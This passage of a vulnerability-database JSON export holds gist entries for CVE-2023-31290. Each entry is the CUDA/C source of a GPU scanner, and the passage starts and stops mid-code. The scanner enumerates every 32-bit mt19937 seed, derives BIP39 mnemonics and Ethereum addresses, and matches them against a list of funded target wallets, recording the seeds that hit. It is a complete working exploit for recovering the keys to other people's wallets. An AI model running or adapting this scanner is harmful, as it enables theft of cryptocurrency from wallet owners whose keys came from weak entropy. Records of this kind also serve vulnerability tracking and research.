\"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n        fflush(hits_fp);\n        pthread_mutex_unlock(&hits_mu);\n        g_hits.fetch_add(1);\n        fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n      }\n    }\n    secp256k1_context_destroy(tctx);\n  }\n#else\n  for (int i = 0; i < n; i++) {\n    uint8_t addr[20];\n    if (eth_from_seed64(ctx, seed64 + (size_t)i * 64, addr) == 0 && in_targets(addr)) {\n      char hx[43];\n      hex20(addr, hx);\n      fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n      fflush(hits_fp);\n      g_hits.fetch_add(1);\n      fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n    }\n  }\n#endif\n  g_done.fetch_add((uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n  const char *tpath = \"targets.bin\";\n  const char *hpath = \"hits.jsonl\";\n  uint64_t start = 0, count = 1ULL << 32;\n  int threads = 256;\n  if (argc >= 2 && !strcmp(argv[1], \"selftest\")) {\n    if (host_selftest_cpu()) return 1;\n    int ndev = 0;\n    CHECK_CUDA(cudaGetDeviceCount(&ndev));\n    printf(\"cuda devices=%d\\n\", ndev);\n    if (ndev < 1) return 1;\n    return gpu_selftest(0);\n  }\n  for (int i = 1; i < argc; i++) {\n    if (!strcmp(argv[i], \"--targets\") && i + 1 < argc) tpath = argv[++i];\n    else if (!strcmp(argv[i], \"--hits\") && i + 1 < argc) hpath = argv[++i];\n    else if (!strcmp(argv[i], \"--start\") && i + 1 < argc) start = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--count\") && i + 1 < argc) count = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--threads\") && i + 1 < argc) threads = atoi(argv[++i]);\n  }\n  if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n  hits_fp = fopen(hpath, \"a\");\n  if (!hits_fp) { perror(\"hits\"); return 1; }\n  if (host_selftest_cpu() || gpu_selftest(0)) {\n    fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n    return 1;\n  }\n  int ndev = 0;\n  CHECK_CUDA(cudaGetDeviceCount(&ndev));\n  if (ndev < 1) return 1;\n  printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpus=%d targets=%zu\\n\", start, count, ndev, g_ntargets);\n  fflush(stdout);\n\n  const int BATCH = 1 << 18;\n#ifdef _OPENMP\n  omp_set_nested(1);\n  omp_set_max_active_levels(2);\n  g_inner_threads = threads / (ndev > 0 ? ndev : 1);\n  if (g_inner_threads < 8) g_inner_threads = 8;\n  printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n  uint64_t done_at = start + count;\n  if (done_at > (1ULL << 32)) done_at = 1ULL << 32;\n  struct timespec t0;\n  clock_gettime(CLOCK_MONOTONIC, &t0);\n\n#pragma omp parallel num_threads(ndev)\n  {\n    int gpu = 0;\n#ifdef _OPENMP\n    gpu = omp_get_thread_num();\n#endif\n    CHECK_CUDA(cudaSetDevice(gpu));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n    uint8_t *d_seed = NULL;\n    CHECK_CUDA(cudaMalloc(&d_seed, (size_t)BATCH * 64));\n    uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n    secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n    uint64_t my_count = (done_at - start) / (uint64_t)ndev;\n    uint64_t my_start = start + (uint64_t)gpu * my_count;\n    uint64_t my_end = (gpu == ndev - 1) ? done_at : my_start + my_count;\n    for (uint64_t s = my_start; s < my_end; ) {\n      int n = BATCH;\n      if ((uint64_t)n > my_end - s) n = (int)(my_end - s);\n      int block = 128;\n      int grid = (n + block - 1) / block;\n      k_derive_seed64<<>>((uint32_t)s, n, d_seed);\n      CHECK_CUDA(cudaDeviceSynchronize());\n      CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n      process_batch(ctx, (uint32_t)s, n, h_seed);\n      if (gpu == 0) {\n        struct timespec t1;\n        clock_gettime(CLOCK_MONOTONIC, &t1);\n        double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n        uint64_t done = g_done.load();\n        double r = done / (sec > 0.001 ? sec : 0.001);\n        double eta = r > 0 ? (count - done) / r : 0;\n        fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n                done, count, 100.0 * done / (double)count, r, g_hits.load(), eta);\n      }\n      s += (uint64_t)n;\n    }\n    secp256k1_context_destroy(ctx);\n    free(h_seed);\n    cudaFree(d_seed);\n  }\n  printf(\"DONE hits=%\" PRIu64 \"\\n\", g_hits.load());\n  fclose(hits_fp);\n  return 0;\n}\n", "creation_timestamp": "2026-09-04T00:00:27.004395Z"}, {"uuid": "9294a6ed-c612-40f1-b769-434faf4b4197", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/2e9833484cf03ca592e212cb9934dd43", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -> BIP39-128 mnemonic -> PBKDF2-HMAC-SHA512/2048\n * Host:   BIP32 m/44'/60'/0'/0/0 -> keccak ETH addr -> funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x)                                                          \\\n  do {                                                                         \\\n    cudaError_t _e = (x);                                                      \\\n    if (_e != cudaSuccess) {                                                   \\\n      fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n      exit(1);                                                                 \\\n    }                                                                          \\\n  } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n    0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n    0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n    0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n    0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n    0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n    0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n    0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n    0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n    0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n    0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n    0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n    0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n    0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n    0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n    0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n    0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n    0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n    0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n    0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n    0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x >> n) | (x << (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n  return ((uint64_t)p[0] << 56) | ((uint64_t)p[1] << 48) | ((uint64_t)p[2] << 40) | ((uint64_t)p[3] << 32) |\n         ((uint64_t)p[4] << 24) | ((uint64_t)p[5] << 16) | ((uint64_t)p[6] << 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n  p[0] = (uint8_t)(x >> 56); p[1] = (uint8_t)(x >> 48); p[2] = (uint8_t)(x >> 40); p[3] = (uint8_t)(x >> 32);\n  p[4] = (uint8_t)(x >> 24); p[5] = (uint8_t)(x >> 16); p[6] = (uint8_t)(x >> 8);  p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n  uint64_t W[80];\n#pragma unroll\n  for (int i = 0; i < 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n  for (int i = 16; i < 80; i++) {\n    uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] >> 7);\n    uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] >> 6);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n  for (int i = 0; i < 80; i++) {\n    uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n    uint64_t ch = (e & f) ^ ((~e) & g);\n    uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n    uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n    uint64_t maj = (a & b) ^ (a & c) ^ (b & c);\n    uint64_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n  uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n                    0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n  uint8_t blk[128];\n  int n = len;\n  const uint8_t *p = data;\n  while (n >= 128) {\n    sha512_compress(st, p);\n    p += 128;\n    n -= 128;\n  }\n  memset(blk, 0, 128);\n  if (n) memcpy(blk, p, n);\n  blk[n] = 0x80;\n  if (n >= 112) {\n    sha512_compress(st, blk);\n    memset(blk, 0, 128);\n  }\n  store_be64(blk + 120, (uint64_t)len * 8);\n  sha512_compress(st, blk);\n#pragma unroll\n  for (int i = 0; i < 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key < 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n  uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n  for (int i = 0; i < 128; i++) {\n    uint8_t k = (i < klen) ? key[i] : 0;\n    ipad[i] = k ^ 0x36;\n    opad[i] = k ^ 0x5c;\n  }\n  memcpy(buf, ipad, 128);\n  memcpy(buf + 128, msg, mlen);\n  sha512(buf, 128 + mlen, inner);\n  memcpy(buf, opad, 128);\n  memcpy(buf + 128, inner, 64);\n  sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n  /* salt = \"mnemonic\" || INT_32_BE(1) */\n  uint8_t salt[12] = {'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n  uint8_t u[64], t[64];\n  hmac_sha512(pass, plen, salt, 12, u);\n  memcpy(t, u, 64);\n  for (int i = 1; i < 2048; i++) {\n    hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n    for (int j = 0; j < 64; j++) t[j] ^= u[j];\n  }\n  memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n  uint32_t mt[624];\n  mt[0] = seed;\n  for (int i = 1; i < 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] >> 30)) + (uint32_t)i;\n  /* one twist, then 32 outputs, keep first 16 bytes */\n  for (int i = 0; i < 624; i++) {\n    uint32_t y = (mt[i] & 0x80000000u) | (mt[(i + 1) % 624] & 0x7fffffffu);\n    uint32_t v = mt[(i + 397) % 624] ^ (y >> 1);\n    if (y & 1) v ^= 0x9908b0dfu;\n    mt[i] = v;\n  }\n  for (int i = 0; i < 16; i++) {\n    uint32_t y = mt[i];\n    y ^= y >> 11;\n    y ^= (y << 7) & 0x9d2c5680u;\n    y ^= (y << 15) & 0xefc60000u;\n    y ^= y >> 18;\n    ent[i] = (uint8_t)(y & 0xff);\n  }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x >> n) | (x << (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n  uint32_t W[64];\n  uint8_t blk[64] = {0};\n  memcpy(blk, ent, 16);\n  blk[16] = 0x80;\n  blk[63] = 128; /* 16*8 = 128 bits */\n#pragma unroll\n  for (int i = 0; i < 16; i++)\n    W[i] = ((uint32_t)blk[4 * i] << 24) | ((uint32_t)blk[4 * i + 1] << 16) | ((uint32_t)blk[4 * i + 2] << 8) | blk[4 * i + 3];\n#pragma unroll\n  for (int i = 16; i < 64; i++) {\n    uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] >> 3);\n    uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] >> 10);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n  uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n  for (int i = 0; i < 64; i++) {\n    uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n    uint32_t ch = (e & f) ^ ((~e) & g);\n    uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n    uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n    uint32_t maj = (a & b) ^ (a & c) ^ (b & c);\n    uint32_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  a += 0x6a09e667;\n  return (uint8_t)(a >> 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n  uint8_t ent[16];\n  mt_entropy16(seed, ent);\n  uint8_t bits[17];\n  memcpy(bits, ent, 16);\n  bits[16] = sha256_first_byte(ent);\n  int pos = 0;\n  for (int w = 0; w < 12; w++) {\n    int idx = 0;\n    int bit = w * 11;\n    for (int j = 0; j < 11; j++) {\n      int p = bit + j;\n      idx = (idx << 1) | ((bits[p >> 3] >> (7 - (p & 7))) & 1);\n    }\n    int wl = D_WLEN[idx];\n    if (w) mnemo[pos++] = ' ';\n    for (int k = 0; k < wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n  }\n  mnemo[pos] = 0;\n  return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n  int i = blockIdx.x * blockDim.x + threadIdx.x;\n  if (i >= n) return;\n  uint8_t mnemo[128];\n  int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n  pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n  unsigned int olen = 64;\n  return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &olen) && olen == 64 ? 0 : -1;\n}\nstatic int ckd_priv(secp256k1_context *ctx, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n  uint8_t data[37], I[64];\n  if (index & 0x80000000u) {\n    data[0] = 0;\n    memcpy(data + 1, key, 32);\n    data[33] = (uint8_t)(index >> 24); data[34] = (uint8_t)(index >> 16);\n    data[35] = (uint8_t)(index >> 8);  data[36] = (uint8_t)index;\n  } else {\n    secp256k1_pubkey pub;\n    if (!secp256k1_ec_pubkey_create(ctx, &pub, key)) return -1;\n    size_t clen = 33;\n    if (!secp256k1_ec_pubkey_serialize(ctx, data, &clen, &pub, SECP256K1_EC_COMPRESSED)) return -1;\n    data[33] = (uint8_t)(index >> 24); data[34] = (uint8_t)(index >> 16);\n    data[35] = (uint8_t)(index >> 8);  data[36] = (uint8_t)index;\n  }\n  if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n  if (!secp256k1_ec_seckey_tweak_add(ctx, key, I)) return -1;\n  memcpy(cc, I + 32, 32);\n  return 0;\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n  size_t l = 32;\n  if (!EVP_Q_digest(NULL, \"KECCAK-256\", NULL, in, inlen, out, &l) || l != 32) memset(out, 0, 32);\n}\nstatic int eth_from_seed64(secp256k1_context *ctx, const uint8_t seed[64], uint8_t addr[20]) {\n  uint8_t I[64], key[32], cc[32];\n  if (hmac_sha512_host((const uint8_t *)\"Bitcoin seed\", 12, seed, 64, I) != 0) return -1;\n  memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n  if (ckd_priv(ctx, key, cc, 0x8000002cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x8000003cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x80000000u) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  secp256k1_pubkey pub;\n  if (!secp256k1_ec_pubkey_create(ctx, &pub, key)) return -1;\n  uint8_t uncomp[65];\n  size_t ulen = 65;\n  if (!secp256k1_ec_pubkey_serialize(ctx, uncomp, &ulen, &pub, SECP256K1_EC_UNCOMPRESSED)) return -1;\n  uint8_t h[32];\n  keccak256(uncomp + 1, 64, h);\n  memcpy(addr, h + 12, 20);\n  return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n  return g_ntargets && bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n  static const char *h = \"0123456789abcdef\";\n  out[0] = '0'; out[1] = 'x';\n  for (int i = 0; i < 20; i++) { out[2 + 2 * i] = h[a[i] >> 4]; out[3 + 2 * i] = h[a[i] & 0xf]; }\n  out[42] = 0;\n}\n\nstatic FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic volatile uint64_t g_done = 0;\nstatic volatile uint64_t g_hits = 0;\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n  int fd = open(path, O_RDONLY);\n  if (fd < 0) return -1;\n  struct stat st;\n  if (fstat(fd, &st) || st.st_size % 20) { close(fd); return -1; }\n  g_ntargets = (size_t)st.st_size / 20;\n  g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n  /* OpenSSL PBKDF2 of Donjon mnemonic must match GPU later. */\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t seed[64];\n  if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n    return 1;\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  int rc = eth_from_seed64(ctx, seed, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int ok = rc == 0 && strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n  return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n  CHECK_CUDA(cudaSetDevice(dev));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n  uint8_t *d_out;\n  CHECK_CUDA(cudaMalloc(&d_out, 64));\n  k_derive_seed64<<<1, 1>>>(0xc92b023d, 1, d_out);\n  CHECK_CUDA(cudaDeviceSynchronize());\n  uint8_t got[64];\n  CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n  cudaFree(d_out);\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t exp[64];\n  PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n  int ok = memcmp(got, exp, 64) == 0;\n  printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n  if (!ok) {\n    printf(\"  exp \"); for (int i = 0; i < 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n    printf(\"  got \"); for (int i = 0; i < 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n  }\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  eth_from_seed64(ctx, got, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"gpu->eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n  return (ok && aok) ? 0 : 1;\n}\n\nstatic void process_batch(secp256k1_context *ctx, uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n  {\n    secp256k1_context *tctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n#pragma omp for schedule(static)\n    for (int i = 0; i < n; i++) {\n      uint8_t addr[20];\n      if (eth_from_seed64(tctx, seed64 + (size_t)i * 64, addr) == 0 && in_targets(addr)) {\n        char hx[43];\n        hex20(addr, hx);\n        pthread_mutex_lock(&hits_mu);\n        fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n        fflush(hits_fp);\n        pthread_mutex_unlock(&hits_mu);\n        __sync_fetch_and_add(&g_hits, 1);\n        fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n      }\n    }\n    secp256k1_context_destroy(tctx);\n  }\n#else\n  for (int i = 0; i < n; i++) {\n    uint8_t addr[20];\n    if (eth_from_seed64(ctx, seed64 + (size_t)i * 64, addr) == 0 && in_targets(addr)) {\n      char hx[43];\n      hex20(addr, hx);\n      fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n      fflush(hits_fp);\n      __sync_fetch_and_add(&g_hits, 1);\n      fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n    }\n  }\n#endif\n  __sync_fetch_and_add(&g_done, (uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n  const char *tpath = \"targets.bin\";\n  const char *hpath = \"hits.jsonl\";\n  uint64_t start = 0, count = 1ULL << 32;\n  int threads = 256;\n  if (argc >= 2 && !strcmp(argv[1], \"selftest\")) {\n    if (host_selftest_cpu()) return 1;\n    int ndev = 0;\n    CHECK_CUDA(cudaGetDeviceCount(&ndev));\n    printf(\"cuda devices=%d\\n\", ndev);\n    if (ndev < 1) return 1;\n    return gpu_selftest(0);\n  }\n  for (int i = 1; i < argc; i++) {\n    if (!strcmp(argv[i], \"--targets\") && i + 1 < argc) tpath = argv[++i];\n    else if (!strcmp(argv[i], \"--hits\") && i + 1 < argc) hpath = argv[++i];\n    else if (!strcmp(argv[i], \"--start\") && i + 1 < argc) start = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--count\") && i + 1 < argc) count = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--threads\") && i + 1 < argc) threads = atoi(argv[++i]);\n  }\n  if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n  hits_fp = fopen(hpath, \"a\");\n  if (!hits_fp) { perror(\"hits\"); return 1; }\n  if (host_selftest_cpu() || gpu_selftest(0)) {\n    fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n    return 1;\n  }\n  int ndev = 0;\n  CHECK_CUDA(cudaGetDeviceCount(&ndev));\n  if (ndev < 1) return 1;\n  printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpus=%d targets=%zu\\n\", start, count, ndev, g_ntargets);\n  fflush(stdout);\n\n  const int BATCH = 1 << 18;\n#ifdef _OPENMP\n  omp_set_nested(1);\n  omp_set_max_active_levels(2);\n  g_inner_threads = threads / (ndev > 0 ? ndev : 1);\n  if (g_inner_threads < 8) g_inner_threads = 8;\n  printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n  uint64_t done_at = start + count;\n  if (done_at > (1ULL << 32)) done_at = 1ULL << 32;\n  struct timespec t0;\n  clock_gettime(CLOCK_MONOTONIC, &t0);\n\n#pragma omp parallel num_threads(ndev)\n  {\n    int gpu = 0;\n#ifdef _OPENMP\n    gpu = omp_get_thread_num();\n#endif\n    CHECK_CUDA(cudaSetDevice(gpu));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n    uint8_t *d_seed = NULL;\n    CHECK_CUDA(cudaMalloc(&d_seed, (size_t)BATCH * 64));\n    uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n    secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n    uint64_t my_count = (done_at - start) / (uint64_t)ndev;\n    uint64_t my_start = start + 